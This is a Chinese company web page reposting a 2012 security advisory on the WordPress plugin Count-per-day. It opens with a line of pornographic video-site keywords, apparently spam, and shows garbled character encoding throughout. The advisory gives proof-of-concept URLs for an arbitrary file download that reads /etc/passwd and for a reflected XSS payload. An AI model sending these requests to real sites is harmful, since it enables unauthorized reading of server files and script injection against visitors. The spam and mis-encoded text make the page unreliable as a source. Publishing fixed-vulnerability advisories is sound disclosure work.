久艹视频免费看,亚洲成av人综合在线观看,51久久夜色精品国产水果派解说,gogo全球大胆高清人体444

知識(shí)學(xué)堂
  • ·聯(lián)系電話:+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時(shí)手機(jī):13896886023
  • ·QQ 咨 詢：361652718 513960520
當(dāng)前位置 > 首頁(yè) > 知識(shí)學(xué)堂 > 常見技術(shù)問題
Wordpress插件Count-per-day多個(gè)缺陷及修復(fù)
更新時(shí)間：2012-01-14 | 發(fā)布人：本站 | 點(diǎn)擊率：581 次
Arbitrary file download and XSS
影響版本: < 3.1.1
作者6Scan (http://6scan.com) security team www.2cto.com
下載地址: http://wordpress.org/extend/plugins/count-per-day/
官方修復(fù): This advisory is released after the vendor has responded and fixed the issue.
概述:
 
 
用戶可以遠(yuǎn)程調(diào)用一個(gè)腳本下載任意文件
 
另外一個(gè)問題是非持久xss
 
文件下載測(cè)試：
 
www.badguest.cn /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd
 
XSS測(cè)試
 
www.badguest.cn /wp-content/plugins/count-per-day/map/map.php?map='")); </script><img src=http://www.badguest.cn/uploadfile/2012/0113/20120113125942128.jpg>'
相關(guān)文章